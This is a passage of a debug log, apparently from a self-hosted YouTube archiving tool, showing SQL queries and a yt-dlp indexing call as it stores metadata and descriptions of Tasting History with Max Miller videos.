\u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n#tastinghistory #christmas", "filename" => "/downloads/Tasting History with Max Miller/2025-11-28 Mulled Wine from 1845 & A Christmas Cooking Marathon/Mulled Wine from 1845 & A Christmas Cooking Marathon [6aKvdoUEVzY].NA", "id" => "6aKvdoUEVzY", "original_url" => "https://www.youtube.com/watch?v=6aKvdoUEVzY", "playlist_index" => 20, "title" => "Mulled Wine from 1845 & A Christmas Cooking Marathon", "upload_date" => "20251128"} 02:51:23.367 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:23.368 [debug] QUERY OK source="sources" db=0.2ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.369 [debug] QUERY OK source="media_items" db=1.4ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-28 00:00:00Z], 3] 02:51:23.371 [debug] QUERY OK source="media_items" db=1.4ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Signed Copies of the Tasting History Cookbook - https://www.tastinghistory.com/cookbook\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n#tastinghistory #christmas", "Mulled Wine from 1845 & A Christmas Cooking Marathon", "6cc7ff29-b9c3-4bde-991a-0bf042b8ef14", "6aKvdoUEVzY", "https://www.youtube.com/watch?v=6aKvdoUEVzY", false, false, 20, "/downloads/Tasting History with Max Miller/2025-11-28 Mulled Wine from 1845 & A Christmas Cooking Marathon/Mulled Wine from 1845 & A Christmas Cooking Marathon [6aKvdoUEVzY].NA", false, false, 3, [], 98, ~U[2025-11-28 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Signed Copies of the Tasting History Cookbook - https://www.tastinghistory.com/cookbook\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n#tastinghistory #christmas", "Mulled Wine from 1845 & A Christmas Cooking Marathon", "6aKvdoUEVzY", "https://www.youtube.com/watch?v=6aKvdoUEVzY", nil, false, "/downloads/Tasting History with Max Miller/2025-11-28 Mulled Wine from 1845 & A Christmas Cooking Marathon/Mulled Wine from 1845 & A Christmas Cooking Marathon [6aKvdoUEVzY].NA", false, 3, ~U[2025-11-28 00:00:00Z]] 02:51:23.372 [debug] QUERY OK source="sources" db=0.2ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.372 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:23.372 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3221] 02:51:23.372 [debug] Current batch of media processed. Will check again in 1000ms 02:51:23.444 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@TastingHistory/videos --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/96/30/9630f556786d829a9f52e1d23c137672524a831455801a0bc8a85b9b1c80bf2f.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/95/b8/95b8fd968253bad1c777fc4294f10f7bd10daabcdae257effebe04084ff725c6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 02:51:23.445 [debug] Gracefully stopping file follower 02:51:23.445 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=75.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:23.446 [debug] QUERY OK source="sources" db=0.2ms idle=74.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.447 [debug] QUERY OK source="media_items" db=1.4ms idle=74.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 00:00:00Z], 3] 02:51:23.449 [debug] QUERY OK source="media_items" db=1.1ms idle=75.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "c285bb53-ce26-4ef1-920a-d7703f6b32c8", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", false, false, 1, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].NA", false, false, 3, [], 98, ~U[2026-03-24 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", nil, false, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].NA", false, 3, ~U[2026-03-24 00:00:00Z]] 02:51:23.450 [debug] QUERY OK source="sources" db=0.2ms idle=76.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.451 [debug] QUERY OK source="media_items" db=1.2ms idle=4.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 00:00:00Z], 3] 02:51:23.453 [debug] QUERY OK source="media_items" db=1.1ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "8da5c57d-53eb-4d74-b663-2da84280a9ce", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", false, false, 2, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].NA", false, false, 3, [], 98, ~U[2026-03-17 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", nil, false, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].NA", false, 3, ~U[2026-03-17 00:00:00Z]] 02:51:23.453 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.454 [debug] QUERY OK source="media_items" db=1.2ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 00:00:00Z], 3] 02:51:23.456 [debug] QUERY OK source="media_items" db=1.1ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "e1329ed0-d0c7-4038-a93e-e99535202f6e", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", false, false, 3, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].NA", false, false, 3, [], 98, ~U[2026-03-10 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", nil, false, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].NA", false, 3, ~U[2026-03-10 00:00:00Z]] 02:51:23.457 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.458 [debug] QUERY OK source="media_items" db=1.2ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-03 00:00:00Z], 3] 02:51:23.460 [debug] QUERY OK source="media_items" db=2.0ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Support the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "a524abd6-7e46-4a9b-9c0e-e4837b58d1c7", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", false, false, 4, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].NA", false, false, 3, [], 98, ~U[2026-03-03 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Support the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", nil, false, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].NA", false, 3, ~U[2026-03-03 00:00:00Z]] 02:51:23.461 [debug] QUERY OK source="sources" db=0.3ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.462 [debug] QUERY OK source="media_items" db=1.2ms idle=5.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 00:00:00Z], 3] 02:51:23.464 [debug] QUERY OK source="media_items" db=1.3ms idle=6.1ms INSERT INTO "media_items" AS m0 